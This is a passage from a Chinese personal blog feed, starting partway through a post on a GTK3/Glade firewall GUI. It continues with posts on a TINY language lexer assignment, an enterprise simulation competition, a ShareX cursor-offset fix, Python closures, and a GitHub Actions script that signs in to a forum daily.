    4. 多语言支持:GTK支持多种编程语言,包括C、C++、Python等。这使得开发者可以使用自己喜欢的编程语言来进行应用程序的开发。

最终我是选择了GTK3进行GUI开发,原因如下:

  1. 这次开发的防火墙程序是基于Linux内核模块的,所以只能在Linux系统使用,不需要考虑GUI的跨平台。
  2. Glade应用提供了GTK应用的UI设计功能,起到和QML、Qt Quick类似的作用。
  3. 开源、不需要商业支持。
  4. 防火墙属于网络层的应用,不需要太多功能,简洁至上。
  5. 在Ubuntu22.04环境下开发,使用GTK接近原生UI。
  6. GTK的默认样式足够好看。

GTK & glade学习

GTK相比QT的一个最大劣势就是文档更少、社区也更不活跃。B站和YouTube搜索QT,有非常多的教程,而GTK相对来说就比较少了。另外GTK4已经问世数年,但是教程大多还是GTK3。之前提到用来设计GTK应用UI的glade,支持的最高GTK版本也是GTK3。

好在对于这样一个简单的GUI应用,只需要入门GTK便可。学习一样工具,我总是喜欢边学边做。因此视频+文档的组合往往是更适合我的。在我学习GTK开发的过程中,主要参考了以下资源:

  1. Linux Gtk Glade Programming

    YouTube上的GTK & glade开发教程,没有涵盖GTK的所有类,但对入门来说够用而且友好。

  2. 视频中的源代码

    更多时候我其实是直接看源代码学习,视频节奏有些拖沓,一旦理解GTK和glade是怎样工作的,看代码会是更高效的解决方法。

  3. GTK3文档

    文档很全面,但只有英文。

  4. ChatGPT

    文档没写全的、视频没讲到的可以问问GPT。看看思路可以,3.5写出来的代码可能不能直接用。

GTK & glade开发流程

使用GTK & glade开发,主要是应用UI设计和功能实现分离的思想。

  1. 在glade应用中设计UI

    哪里是按钮,哪里需要输入框,哪里需要列表等等,需要提前构思好。

  2. 在glade应用中连接信号(signals)

    所谓信号,就是当用户与界面发生某种特定的交互时,应用程序便会知悉,并可根据这种信号回调对应的函数、传入特定的数据进行特定的操作。可以在glade中连接信号并指定对应的回调函数,以及需要传入的数据。这样在后续功能实现时,只需将这些函数的功能实现即可,也很好地实现了模块化。

  3. 编写GTK代码

    主要是实现之前在glade中指定的回调函数。另外,一些用于提示用户的对话框也可以直接用代码生成。

  4. 编译程序

    在开发阶段,一般从glade文件加载builder(gtk_builder_new_from_file),并使用gcc-export-dynamic参数。这样一来,修改glade文件后无需重新编译就可以看到新的UI。

    而在生产环境中,不能使用上述方法。因为上述方法编译的应用程序需要依赖glade文件运行,而一般用于生产环境的应用程序需要将glade文件一同编译成最后的二进制程序。因此要从资源中加载builder(gtk_builder_new_from_resource)。因此首先要把glade文件编译成资源,这个过程需要用到glib-compile-resources工具。具体方法可以参照Linux Gtk Glade Programming Part 34: Embedding resources in your app

难点

  1. TreeView

    GTK中的TreeView以及ListBox是非常重要的组件,适合用于用户与系统的数据交互,区别在于TreeView可以有多层父子结构,而ListBox只有单层。

  2. Log功能

    Log功能的第一版思想是:每隔一段时间(如1s)监测日志文件的变化,当日志文件大小发生改变时,将新增的内容显示在应用的TextView当中。但是如果使用一个线程,会导致应用要轮流处理与用户的交互和日志文件的监测,而日志文件又需要频繁监测,造成较差的用户体验。因此为监测日志文件变化的功能单独创建一个线程进行处理。

    但是线程需要应对一系列互斥与共享的问题,因此我换了一种实现方法。

    第二版的思想是:使用GFileMonitor来监测文件的变化,当文件变化时,会发出一个信号,GTK应用能捕捉这个信号并做出相应的处理。

    GFileMonitor VS 多线程:

    • 优点:

      • GFileMonitor使用更简单,不需要自己编写多线程逻辑。它提供了文件变化事件的回调接口,只需要关心事件处理逻辑。
      • GFileMonitor对文件系统事件的处理可能更高效。它基于操作系统提供的文件变化监控机制,不需要频繁地轮询检查文件。
      • GFileMonitor可以方便地跨平台使用,而自行实现的多线程文件监视可能需要针对不同平台调整。
    • 缺点:

      • GFileMonitor的可定制性较低,不能自由控制轮询频率等参数。
      • GFileMonitor可能不支持监视网络文件系统或一些特殊文件系统。
      • GFileMonitor基于系统调用,系统开销可能略大于纯用户态的多线程实现。
      • 自行实现的多线程方案可以加入更多自定义逻辑,例如合并事件、缓存等。

源代码(完整程序)

  • ✇BeaCox
  • TINY Scanner开发文档BeaCox
    前言NIS2336编译原理课程的大(?)作业。代码仓库:NIS2336_lexical_analysishttps://github.com/BeaCox/NIS2336_lexical_analysis要求如下:前期准备了解TINY language语言,并能用TINY language写较简单的程序;掌握词法分析的步骤方法,能根据程序段模拟自动机的分析过程生成token序列。TINY language词法分析功能说明TINY language语言的词法单元:词法单元 文件global.h中定义了所有的词法单元类型TokenType,并在lexer.h中声明。本次实验要求在读懂lexer.c中已有代码的基础上完善补全lexer.c中的主函数getToken(void),该函数通过判断当前状态并根据当前读入的词法单元来输出当前读入词法单元的token,并更新状态和词法单元,根据给出代码中的示例补全switch语句中case为其他状态时的情况。处理结果要求给定一段符合TINY language语法的代码,写成.tny文件,放在build\test文件夹内。要求程序能够输出这段代码的每一
     

TINY Scanner开发文档

作者 BeaCox
2023年5月29日 21:37

前言

NIS2336编译原理课程的大(?)作业。

代码仓库:

要求如下:

前期准备

了解TINY language语言,并能用TINY language写较简单的程序;
掌握词法分析的步骤方法,能根据程序段模拟自动机的分析过程生成token序列。

TINY language词法分析功能说明

TINY language语言的词法单元:

词法单元

文件global.h中定义了所有的词法单元类型TokenType,并在lexer.h中声明。本次实验要求在读懂lexer.c中已有代码的基础上完善补全lexer.c中的主函数getToken(void),该函数通过判断当前状态并根据当前读入的词法单元来输出当前读入词法单元的token,并更新状态和词法单元,根据给出代码中的示例补全switch语句中case为其他状态时的情况。

处理结果要求

给定一段符合TINY language语法的代码,写成.tny文件,放在build\test文件夹内。要求程序能够输出这段代码的每一行,在每一行的后面输出这一行所有词法单元的token。

示例输入和输出如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
read x

if 0 < x then

fac := 1

repeat

fact := fact * x

x := x – 1 until x = 0

write fac

end
example1

example2

提交要求和方法

本次实验只对lexer.c进行修改,其他文件不进行修改。在提交时只需将修改完善后的lexer.c上传即可。

DFA

DFA

开始状态为START,终止状态为DONE
START状态转移到下一个状态,只需要判定下一个读入的字符即可。

ERROR

从图中可以看到,没有将词法错误ERROR单独作为一个状态来参与状态转移。接下来我们考虑发生ERROR的两种情况:

  1. 读入的第一个字符不是{、数字、字母、:以及TINY允许的运算符,则当前字符发生ERROR
  2. 读入的第一个字符是:,但是第二个字符不是=,则上一个字符(:)发生ERROR

Code

1.

1
2
3
4
5
6
7
8
9
10
11
else
{
switch (c)
{
...
default:
state = DONE;
currentToken = ERROR;
break;
}
}

save此时为默认值true,将当前读入的(错误)字符保存以备输出

2.

1
2
3
4
5
6
7
8
9
10
case INASSIGN:
state = DONE;
if (c == '=')
currentToken = ASSIGN;
else
{ /* backup in the input */
ungetNextChar();
save = FALSE;
currentToken = ERROR;
}

若进入INASSIGN后(即读入:后),读入的字符不是=,发生了错误。
调用ungetNextChar()回退一个字符,令该字符参与下一轮的扫描。
save置为false,因为发生错误的是前一个字符:,而不是当前读入的字符。

Lexeme

从示例图的预期输出以及util.c中的printToken()函数可知:

当词法单元类型为Reserved Words, ID, NUMERROR时,需要输出其对应的词素。因此在编写程序时,当遇到这几种词法单元,需要将读入的字符逐个保存,以便在到达DONE状态时输出。

Code

1
2
/* lexeme of identifier or reserved word */
char tokenString[MAXTOKENLEN + 1];

定义了一个名为tokenString的字符数组,用来保存上述情况下的词素。

1
int tokenStringIndex = 0;

每一轮扫描会将字符数组的索引置零,以便保存新的词素。

1
2
3
4
5
6
if (state == DONE)
{
tokenString[tokenStringIndex] = '\0';
if (currentToken == ID)
currentToken = reservedLookup(tokenString);
}

每一轮扫描结束在字符数组结尾加上终止符\0,因为本轮保存的字符串长度可能小于上一轮保存的字符串长度,这样做可以避免上一轮保存的字符串影响这一轮的输出。

1
2
/* flag to indicate save to tokenString */
int save;

定义了一个整型变量save(实际当作布尔型用),用来指示当前读入的字符是否需要保存到tokenString
在每一轮循环的开始,即每读入一个新的字符后,save都被置为true,默认要保存该字符。

1
2
if ((save) && (tokenStringIndex <= MAXTOKENLEN))
tokenString[tokenStringIndex++] = (char)c;

每一轮循环的尾部,如果savetrue,将当前读入的字符保存到tokenString尾部。

实际上,只有进入INIDINNUMINASSIGN或读入的字符非预期时,才需要保存读入的一串字符。下面我们逐个情况讨论:

  1. 进入INID

    1
    2
    else if (isalpha(c))
    state = INID;

    START转移到INID时,仅仅转移状态,save仍为默认值true

    1
    2
    3
    4
    5
    6
    7
    8
    9
    case INID:
    if (!isalpha(c))
    { /* backup in the input */
    ungetNextChar();
    save = FALSE;
    state = DONE;
    currentToken = ID;
    }
    break;

    进入INID后,当且仅当读入非字母时扫描结束。
    此时调用ungetNextChar()函数回退一个字符,令该字符参与下一轮的扫描。
    save置为false表示当前读入的字符不是该轮扫描所得词素的一部分。

  2. 进入INNUM

    实现方法与情况1一致

  3. 在前文讨论ERROR时已给出

  4. 在前文讨论ERROR时已给出

Reserved Words

Reserved WordsID的区别在于:前者由TINY语言预定义,后者由程序员自定义。因此,不严谨地说,Reserved Words也是一种ID。这样,我们可以很自然地将Reserved WordsID的扫描合并。

具体来说,当读入第一个字符为字母的时候,进入INID状态。在遇到非字母字符时才能转移到DONE状态,在这之前我们都无法确认读入的字符串(即词素)是否是Reserved Words。因此在INID状态期间我们将二者一视同仁,而在转移到DONE状态后对二者进行区分。换句话说,判断读入的词素是否是Reserved Words

前文说到,当词法单元类型为Reserved WordsID(亦即进入INID状态)时,我们需要将读入的词素保存。我们在一个包含所有Reserved Words键值对的表进行查找匹配,若保存的词素与表中的词素相同,则返回相应的词法单元,否则表明该词素对应的词法单元为ID

Code

1
2
3
4
5
6
/* lookup table of reserved words */
static struct
{
char *str;
TokenType tok;
} reservedWords[MAXRESERVED] = {{"if", IF}, {"then", THEN}, {"else", ELSE}, {"end", END}, {"repeat", REPEAT}, {"until", UNTIL}, {"read", READ}, {"write", WRITE}};

定义了一个关键字的字典。

1
2
3
4
5
6
if (state == DONE)
{
tokenString[tokenStringIndex] = '\0';
if (currentToken == ID)
currentToken = reservedLookup(tokenString);
}

当一轮扫描结束时,如果读入的词素被判定为ID(即该轮扫描经过了INIDDONE的状态转移),则在关键字字典中查找该轮保存的词素。如果查找到,返回相应的词法单元类型;如果未找到,返回ID

  • ✇BeaCox
  • EOVS——企业运营仿真赛参赛记录BeaCox
    去年12月中旬随队参加了第十二届上海市大学生工程实践与创新能力大赛——企业运营仿真赛项,获得了特等奖,也是我在乏善可陈的大学生活中拿到的第一个市级奖项。前段时间忙于“补天”(预习期末科目)没有更新,2023的第一篇文章就从这项比赛着笔吧。什么是EOVS?EOVS,又称企业运营仿真赛,是商赛的一种。竞赛内容引用原文:参赛队员组建经营团队,每个团队分设总经理、财务总监、生产总监、营销总监4个岗位,需要创建一家生产制造型企业,模拟该企业两年八个季度的经营过程。涉及公司创建、材料采购、生产运营、市场营销、财务管理等相关企业经营活动。在企业运营过程中,竞赛团队应充分考虑企业的外部环境和企业内部运营状况,结合竞争对手情况,制定科学合理的企业运营策略,管理企业运营风险,实现企业利润最大化。该赛项的组织机构是在教育部工程训练竞赛组委会领导下成立的企业运营仿真赛项组委会。不难看出,赛事的含金量远比不上著名的贝恩杯、奥纬杯、华为财务精英挑战赛等,但在全国范围内还是有一定热度的。另外,引用中国大学生工程实践与创新能力大赛官网:中国大学生工程实践与创新能力大赛是列入《教育部评审评估和竞赛清单(2021年版)》
     

EOVS——企业运营仿真赛参赛记录

作者 BeaCox
2023年1月11日 17:47

去年12月中旬随队参加了第十二届上海市大学生工程实践与创新能力大赛——企业运营仿真赛项,获得了特等奖,也是我在乏善可陈的大学生活中拿到的第一个市级奖项。前段时间忙于“补天”(预习期末科目)没有更新,2023的第一篇文章就从这项比赛着笔吧。

什么是EOVS?

EOVS,又称企业运营仿真赛,是商赛的一种。竞赛内容引用原文

参赛队员组建经营团队,每个团队分设总经理、财务总监、生产总监、营销总监4个岗位,需要创建一家生产制造型企业,模拟该企业两年八个季度的经营过程。涉及公司创建、材料采购、生产运营、市场营销、财务管理等相关企业经营活动。在企业运营过程中,竞赛团队应充分考虑企业的外部环境和企业内部运营状况,结合竞争对手情况,制定科学合理的企业运营策略,管理企业运营风险,实现企业利润最大化。

该赛项的组织机构是在教育部工程训练竞赛组委会领导下成立的企业运营仿真赛项组委会。不难看出,赛事的含金量远比不上著名的贝恩杯、奥纬杯、华为财务精英挑战赛等,但在全国范围内还是有一定热度的。另外,引用中国大学生工程实践与创新能力大赛官网

中国大学生工程实践与创新能力大赛是列入《教育部评审评估和竞赛清单(2021年版)》(教政法厅函(2021)2号)的重要赛事。

亦即是说这是一项被教育部认可的比赛。抛开功利去谈这项比赛的话,我更愿意称其为一款游戏,一款模拟经营类游戏、倾向于协作的团队游戏。打完一局标准、完整的比赛大概需要4-5个小时,每一次打训练赛都像是酣畅淋漓地玩了一场烧脑的策略游戏。

为什么会参加EOVS?

众所周知,我是打工人工科生,商赛的名头对我来说没什么吸引力。大一上学期时(2021年秋)认识了个朋友,挺社牛的,拉着我参加企业运营仿真赛的校内赛。当时挺闲的,再加上第一名的队伍有1000元奖金(平摊下来每个人250……,奇怪的数字,但是用来好好吃一顿不香吗),就一起报名参加了。

参赛经历

校内赛夺魁

接着说校内赛,当时报名的队伍有20多支,正式比赛前举办了两次友谊赛,其实对于很多队伍来说就是训练赛了,毕竟一半以上的队伍都是第一次参加这项比赛。参赛选手倒是来自各个学院、各个专业,也有被我们视作一号种子的、由经管学院学长学姐组成的队伍。我们由于时间原因只参加了一次训练赛。到了正式比赛的时候,分成了两组比赛——幸运的是,一号种子队伍和我们分在了两组。虽然说我们只参加了一次训练赛,实际上我们查阅了许多资料,做足了准备。到了赛场上发现有些组连计算用的Excel表格都没有(重要道具,后面会讲),导致他们预期的利润和实际偏差太大,早早地就破产出局了。比赛到一半的时候我们的动态排名还是第三,但由于前期高额的研发投入让我们的产品有明显的质量优势,在最后两季度我们凭借高价、高销量挣得更多净利润,最终排名组内第一。由于分了两组,所以第一只有500元奖金了(哭),赛后就只能在食堂吃了庆功宴。

知翰杯“百团大战”惨遭滑铁卢

校内赛拿到组内第一之后,我们的心态产生了一些变化——不再只是“重在参与”了,而是争得更高级别的奖项。“百团大战”是2022年暑假举办的一次全国性企业运营仿真赛,其实那时距离我们参加校内赛已经半年多了,水平基本上可以说是没有提升。因为疫情原因我们甚至不知道这项赛事能否举办,因此只是在开赛前几个星期训练了几次。另外,这项赛事的低含金量导致它在我们学校的受重视程度比较低,我们没有像很多学校那样接受培训。这次比赛是分赛区举办的,华东赛区参赛省份有江苏、浙江、上海、安徽,规模和选手实力都和校内赛时不可同日而语。比赛采用分组积分制,具体前几名晋级我也记不大清了。只记得参赛的队伍风格异常凶悍,完全不按套路来,我们打的3场比赛全部以破产告终,最快的一次甚至第一个季度就破产了。一分未得,在意料之外,也在情理之中——的确是技不如人。

主场作战,有惊无险

第十二届上海市大学生工程实践与创新能力大赛由我们学校承办,也就是说我们这次是在主场作战。不巧的是比赛时疫情管控刚刚放开,许多参赛选手都阳了或者回家了,导致有几组队伍退赛了,包括我们学校校内赛在另一组夺冠的队伍。因此我们成了该赛项的主场独苗,压力突然就增大了。我们队伍也只来了3个人,阳了一个。但和“百团大战”那次不同,这次我们研究了国奖选手的打法、深入剖析了规则、熟练掌握了Excel的制作与使用、制定了详细的策略,当然最重要的是我们参加了多次训练赛。可能因为是市级赛事大家比较保守,场上近二十支队伍采取了同样的策略,不存在总体策略的优劣,想要获胜就全靠比赛过程中的临场反应了。比赛中期开始有队伍制定低价破坏市场平衡,我们及时作出反应调低价格才避免了破产。在第5季时我们的季度排名已经进入前5,并且势头大好。不过之前说的社牛朋友紧张了,填错产品价格,导致我们在某个市场的销量和占有率暴跌,优势一去不复返,季度排名掉出前10。我们再次做出及时的调整,制定更低的产品价格,采用“薄利多销”的方案,最终在比赛结束前挽大厦于将倾,挤进了特等奖的行列。BTW,貌似其他特等奖队伍基本都有来自于商学院的选手。

我获得了什么?

  1. 团队协作能力
    这是我觉得最重要的一点。其实这支队伍里我最开始也就认识那一个人,但是大家的目标是一致的,因此不存在有人摆烂的情况——这是团队协作的基础。这项比赛对于参赛的大多数队伍来说,都需要考虑分工,如何让合适的人做合适的工作,这是一门学问。如何组织大家训练、如何在比赛过程中形成统一的意见、如何有效地沟通……这些都是十分重要的技能。

  2. 处理困境的能力
    赛事官网这样写道:

    通过竞赛,推进虚拟仿真实验教学在创新创业教育中的落地应用。参赛队员在模拟经营实践中,培养其创新精神,创业能力,提升学生在复杂条件下如何做出科学决策的能力,学会如何在困境中生存发展的企业家精神,形成如何建立团队、组织团队实现目标的能力。通过竞赛,全面提高学生发现问题、解决问题、综合分析问题能力;锻炼学生沟通协作、交流应变能力;对学生逻辑思维、开拓创新等综合能力都有一定的锻炼和提升。

    或许我以后当不了企业家,但是在困境中生存发展永远是人生的必修课之一。况且未来谁人可知,万一将来某日我所学到的企业运营本领真派上用场了呢?

当然,还有些我没获得但其他人可能获得的。比如在很多学校,该赛事拿国奖是有保研加分的。

如何上手?

  1. 阅读比赛规则
    前往官网熟悉比赛规则

  2. 观看B站视频
    Up🐖推荐:

  3. 网上找比赛群进行训练
    网上搜索EOVS训练赛QQ群,有些群经常会有比赛,可以先用别人的表格(我的表格放在文章最后)

  4. 练习制表

    下图是我自己制作的表格

    自制表格

    比赛中有非常多的数据要计算,如果自己用计算器算非常耗时而且正确率难以保证。一般来说,省级及以上的比赛都是要求不能使用现成表格的,也就是说如果想用表格就必须在现场制作。如果不是熟练掌握Excel公式及赛事规则的话,短时间内很难现场制作出这样一张表格,因此平时需要加以练习(制表是我的任务之一,所以我深有体会)。

一些经验

B站和知乎有很多国奖大佬,可以去看他们的视频和文章或礼貌讨教。我的水平远不及他们,我的一些经验也是从大佬们那里学来的,仅供参考。

  1. 制表时未必要完全按照规则给的公式敲,有一些简化的公式
    • 人工费用=计划生产量*1.4
    • 生产设备价值=运营状况表下季实际产能*10
    • 生产线折旧=上一季生产设备价值*10%
  2. 单季买原材料,双季还款
    单数季度购买两季度的原材料,几乎是约定俗成的规矩。根据供需关系,如果你在双数季度购买原材料,价格会更高。
    由于单数季度购买原材料,所以没有足够的现金还款,双数季度可以根据实际资产负债比、利息等考虑还款。
  3. 前期所有者权益越接近150w的整数倍越好
    所有者权益每增加150w可以让你有资格多购买1条生产线,假如你在2,3季度时生产线就比别人少2,3条,那么利滚利滚利,差距会越来越大,所以需要计算下季度理论上能达到的所有者权益。但是并不是所有者权益比预期高得越多越好,例如下一季度想要购买3条生产线,则需要有450w权益,将决策输入表格后发现达到520w,那么可以将这多余的70w花一部分在研发、营销等地方,这样收益才能最大化。因此,最理想情况是前期每次比要卡到的所有者权益高出几万到十几万。
  4. 注意3市场队伍
    3市场队伍会放弃一个市场,对于4市场打法的选手来说,3市场选手放弃的这个市场就是最好的突破口,在这个市场能够用更低的营销卖出去更多、更贵的产品。
  5. 第5季度高营销
    因为根据市场发展规律,第6季度市场往往会缩水。但此时又是购买生产线最多的季度,产量暴增,要想将产品卖光,必须提前用营销打开市场,提高市场占有率,才能分得更大的蛋糕。第5季度的决策可以很大程度上决定这场比赛的走向。
  6. 平衡营销和研发投入
    根据赛事介绍,营销和研发都存在边际递减效应。尽管研发的优势在当季度很难体现出来,但是到了比赛后期,如果品牌好、质量差,投入高营销的效果会很差,后期比拼的就是前中期的积累。一味地投入营销可能会让你在前中期占尽优势,但后期质量差导致的市场占有率降低会让你损失非常多净利润。
  7. 先练好8+2,四十场打法
    我们在所有正式比赛里都采用8+2,四市场打法,因为这种打法最为稳妥但又不失机遇。当有了一定的场数积累后再去尝试其他激进的打法,如7+3,8+3以及三市场打法。

EOVS表格及笔记仓库

  • ✇BeaCox
  • 如何解决ShareX录屏时光标位置发生偏移的问题BeaCox
    ShareX是我的主力截图工具,因为它开源且功能强大。但是实际使用时,其录屏功能会出现光标显示位置与实际位置存在偏移的问题,这十分影响使用体验,通过搜索软件仓库issues等方式,我总结了解决这一问题的方法。前言ShareX是适用于Windows平台的一款“拥有屏幕捕捉、文件分享等功能的生产力工具”。其官网地址如下:ShareX - The best free and open source screenshot tool for Windowshttps://getsharex.com/对于我这样的博主来说,ShareX最吸引人的地方是它不仅可以满足截图需要,并且可以帮助我完成处理图片(如增加阴影和水印)、将图片上传至图床并复制链接到剪切板等一系列工作,帮助我完善了博客写作的工作流。如果有小伙伴想要上手ShareX,可以参考少数派的这篇文章:一个软件,满足你所有的截图需求https://sspai.com/post/43937当然,没有一个软件是完美的。我使用的是写下此文时ShareX最新版本14.1,按照录屏默认配置,在使用ShareX录屏时,产生了光标位置偏移的问题:问题演示问题
     

如何解决ShareX录屏时光标位置发生偏移的问题

作者 BeaCox
2022年12月3日 20:16

ShareX是我的主力截图工具,因为它开源且功能强大。但是实际使用时,其录屏功能会出现光标显示位置与实际位置存在偏移的问题,这十分影响使用体验,通过搜索软件仓库issues等方式,我总结了解决这一问题的方法。

前言

ShareX是适用于Windows平台的一款“拥有屏幕捕捉、文件分享等功能的生产力工具”。其官网地址如下:

对于我这样的博主来说,ShareX最吸引人的地方是它不仅可以满足截图需要,并且可以帮助我完成处理图片(如增加阴影和水印)、将图片上传至图床并复制链接到剪切板等一系列工作,帮助我完善了博客写作的工作流。如果有小伙伴想要上手ShareX,可以参考少数派的这篇文章:

当然,没有一个软件是完美的。我使用的是写下此文时ShareX最新版本14.1,按照录屏默认配置,在使用ShareX录屏时,产生了光标位置偏移的问题:

问题演示

问题起因

ShareX的屏幕捕捉器视频源默认使用screen-capture-recorder,在使用该视频源录屏时,对屏幕的缩放有严格要求,否则就会出现光标偏移的问题。

先检查你的视频源是否使用screen-capture-recorder,点击动作设置->屏幕录制->屏幕录制选项,若在4所指之处,你的选择和图中一致,那么本文所记录的解决方案应该适合你。

检查

解决方案

我的电脑系统版本是Win11 22H2,在其他windows系统下的配置略有不同但大体一致。

解决方案1(不推荐)

打开系统设置,找到屏幕->缩放和布局->缩放,更改为100%。这样做十分影响屏幕的显示效果,尤其是在大尺寸屏幕上,因此并不推荐。

解决方案2

回到ShareX中屏幕录制选项界面,将视频源改为GDI grab

更改视频源

解决方案3(推荐)

找到你的ShareX安装目录,右键点击ShareX.exe,选择属性->兼容性->更改高DPI设置,勾选替代高DPI缩放行为缩放执行选择应用程序。如果你使用多Windows用户,并想为所有用户解决这个问题,请点击图示第4步下方的更改所有用户的设置,并进行相应的设置。

属性配置

3种方案对比

  • 方案1
    很大程度地影响屏幕显示、影响日常使用
  • 方案2
    可以很好地解决问题,但是录制效果不如方案3,录制过程中光标偶有闪烁
  • 方案3
    不更改原本的屏幕缩放比例,录制效果好
  • ✇BeaCox
  • 谈谈闭包BeaCox
    在学习JS的过程中,我遇到了闭包这个概念,当时并没有在意。直到最近我开始自学python,在廖雪峰老师的python教程中又一次看到了这个名词,我才意识到闭包其实是一个重要的概念,或者说特性,许多高级语言支持闭包(比如近些年比较火的Go语言)。于是我查看了相关文档、教程,打算谈谈我对闭包的一些认识。闭包的定义闭包有许多不同的定义,个人认为最简洁而达意的是MDN对于闭包的定义:闭包(closure)是一个函数以及其捆绑的周边环境状态(lexical environment,词法环境)的引用的组合。换而言之,闭包让开发者可以从内部函数访问外部函数的作用域。词法环境维基百科这样描述闭包中的词法环境:环境里是若干对符号和值的对应关系,它既要包括约束变量(该函数内部绑定的符号),也要包括自由变量(在函数外部定义但在函数内被引用),有些函数也可能没有自由变量。简单来说,词法环境包含两部分:环境记录:存储符号-值对对外部环境的引用:对父级词法环境的引用。也就是说,一个函数的词法环境包含了在函数中的符号定义和函数外部的词法环境。考虑如下python代码:1234567def init(): na
     

谈谈闭包

作者 BeaCox
2022年11月10日 21:43

在学习JS的过程中,我遇到了闭包这个概念,当时并没有在意。直到最近我开始自学python,在廖雪峰老师的python教程中又一次看到了这个名词,我才意识到闭包其实是一个重要的概念,或者说特性,许多高级语言支持闭包(比如近些年比较火的Go语言)。于是我查看了相关文档、教程,打算谈谈我对闭包的一些认识。

闭包的定义

闭包有许多不同的定义,个人认为最简洁而达意的是MDN对于闭包的定义:

闭包(closure)是一个函数以及其捆绑的周边环境状态(lexical environment词法环境)的引用的组合。换而言之,闭包让开发者可以从内部函数访问外部函数的作用域。

词法环境

维基百科这样描述闭包中的词法环境:

环境里是若干对符号和值的对应关系,它既要包括约束变量(该函数内部绑定的符号),也要包括自由变量(在函数外部定义但在函数内被引用),有些函数也可能没有自由变量。

简单来说,词法环境包含两部分:

  • 环境记录:存储符号-值对
  • 对外部环境的引用:对父级词法环境的引用。

也就是说,一个函数的词法环境包含了在函数中的符号定义和函数外部的词法环境。考虑如下python代码:

1
2
3
4
5
6
7
def init():
name = "BeaCox"
def displayName():
greeting = "Hello"
print(greeting+', '+name)
displayName()
init()

displayName函数的词法环境包含了环境记录(greeting的符号-值对)以及对外部环境的引用(namedisplayName的符号-值对),这也就是在displayName函数中可以访问name变量的原因。执行displayName函数,其实就是创建了一个闭包。

使用闭包

看完上面的例子,好像有点迷糊了:这不就是“内层作用域可以访问外层作用域的变量”吗?C++不支持闭包,不也能完成上面的工作吗?这是因为上面的例子并没有展示出闭包函数与词法环境捆绑的特性。将上面的代码稍加改动:

1
2
3
4
5
6
7
8
def init():
name = "BeaCox"
def displayName():
greeting = "Hello"
print(greeting+', '+name)
return displayName
outsideDisplay=init()
outsideDisplay()

这段代码与上面不同的地方在于,displayName函数并不在init函数中执行,而是作为返回值,在init函数外部,有一个outsideDisplay接收了这个返回值。
如果我们从C++的思想来考虑这段代码,会发现:在init函数执行完后,局部变量name已经被回收,这时候outsideDisplayname变量是没有被定义的,这段代码应该不能正常运行。
然而,我们运行这段python程序后会发现,终端正常输出Hello, BeaCox,这就是闭包的魔力!

这段程序之所以正常运行的原因,就是python中返回函数会形成闭包。闭包是由函数以及声明该函数的词法环境组合而成的。该环境包含了这个闭包创建时作用域内的任何局部变量。在本例子中,outsideDisplay 是执行 init 时创建的 displayName 函数实例的引用。displayName 函数和其捆绑的词法环境(变量 name 存在于其中)的引用形成了一个闭包,因此init函数执行完毕后,该词法环境没有消失,变量name也没有被回收。因此,当 outsideDisplay 被调用时,变量 name 仍然可用,程序能够正确运行。

闭包的用途

模拟公有成员函数对私有变量的操作

读完上述代码不难发现,outsideDisplay函数在init函数外部调用,但却访问到了init函数内部的变量。这与C++中,调用类的公有成员函数来操作类的私有变量非常相似。与C++不同,python不存在严格意义上的私有变量,python通过以双下划线为开头来命名变量的方式,实现的是一种伪私有变量,它不应该被从外部访问,而不是不能被从外部访问。python、JavaScript等不支持严格私有变量的语言可以通过创建闭包来模拟公有成员函数对私有变量的操作

创建一个生命周期极长的局部变量

观察上述例子,outsideDisplay函数可以继续重复运行,直到整个程序终止。也就是说name变量直到程序运行结束之前,都一直存在于内存中。听起来貌似很像全局变量,但这个变量却是一个局部变量。仅这个程序而言,这个变量只能被outsideDisplay函数和init函数访问。

闭包可能导致的问题

内存泄漏

内存泄漏(Memory Leak)是指程序中已动态分配的堆内存由于某种原因程序未释放或无法释放,造成系统内存的浪费,导致程序运行速度减慢甚至系统崩溃等严重后果。

上文提到,闭包可以创建一个生命周期极长(直到程序运行结束前始终留存在内存中)的变量,如果这样的变量过多,就会导致程序运行速度减慢甚至系统崩溃。

在循环中创建闭包导致意料之外的错误

廖雪峰老师的python教程中给出了一个这样的例子:

1
2
3
4
5
6
7
8
9
def count():
fs = []
for i in range(1, 4)://i从13
def f():
return i*i
fs.append(f)
return fs

f1, f2, f3 = count()

这段程序的期望目标是f1, f2, f3分别返回1,4,9。实际返回9, 9, 9。这是因为每个f()函数捆绑外部词法环境中的i是对i的引用,在return fs之前,i已经变成3了,因此每个f()函数返回的都是3*3

因此,要尽量避免在循环中创建闭包。如若必需,务必要谨慎!

  • ✇BeaCox
  • 基于GitHub Actions的看雪论坛自动签到,可选推送与否BeaCox
    看雪论坛称得上是国内较好的安全论坛了。不过要1k雪币(论坛虚拟币,新用户几乎都可以获得220及以上)才可以升级为正式会员。临时会员有诸多限制,包括不能查看『WEB安全』版块等。对于我这种想白嫖的安全小白来说,唯一的方法就是每天签到随机获得1-10枚雪币。但是我经常会忘记签到,这等到猴年马月?正好我最近正在学习JS,于是写了一个自动签到的脚本。当然,除了升级正式会员,雪币还有许多用处,所以对已经是正式会员的用户来说也还算有些用罢。先上传送门:pediy-CheckInhttps://github.com/BeaCox/pediy-CheckIn实现方法这个脚本的实现非常简单。通过抓包可以发现,看雪论坛的签到是通过向https://bbs.pediy.com/user-signin.htm页面发送含Cookie的POST请求来实现的(也是绝大多数签到业务的设计逻辑),因此利用Axios库的API来向该页面发送请求,模拟用户签到。签到完成后,将响应的数据赋值给一个对象,通过response.data.code和response.data.message来判断网络正常情况下,签到任务的三种可能
     

基于GitHub Actions的看雪论坛自动签到,可选推送与否

作者 BeaCox
2022年9月20日 07:00

看雪论坛称得上是国内较好的安全论坛了。不过要1k雪币(论坛虚拟币,新用户几乎都可以获得220及以上)才可以升级为正式会员。临时会员有诸多限制,包括不能查看『WEB安全』版块等。对于我这种想白嫖的安全小白来说,唯一的方法就是每天签到随机获得1-10枚雪币。但是我经常会忘记签到,这等到猴年马月?
正好我最近正在学习JS,于是写了一个自动签到的脚本。当然,除了升级正式会员,雪币还有许多用处,所以对已经是正式会员的用户来说也还算有些用罢。

先上传送门:

实现方法

这个脚本的实现非常简单。

  1. 通过抓包可以发现,看雪论坛的签到是通过向https://bbs.pediy.com/user-signin.htm页面发送含Cookie的POST请求来实现的(也是绝大多数签到业务的设计逻辑),因此利用Axios库的API来向该页面发送请求,模拟用户签到。
  2. 签到完成后,将响应的数据赋值给一个对象,通过response.data.coderesponse.data.message来判断网络正常情况下,签到任务的三种可能情况。
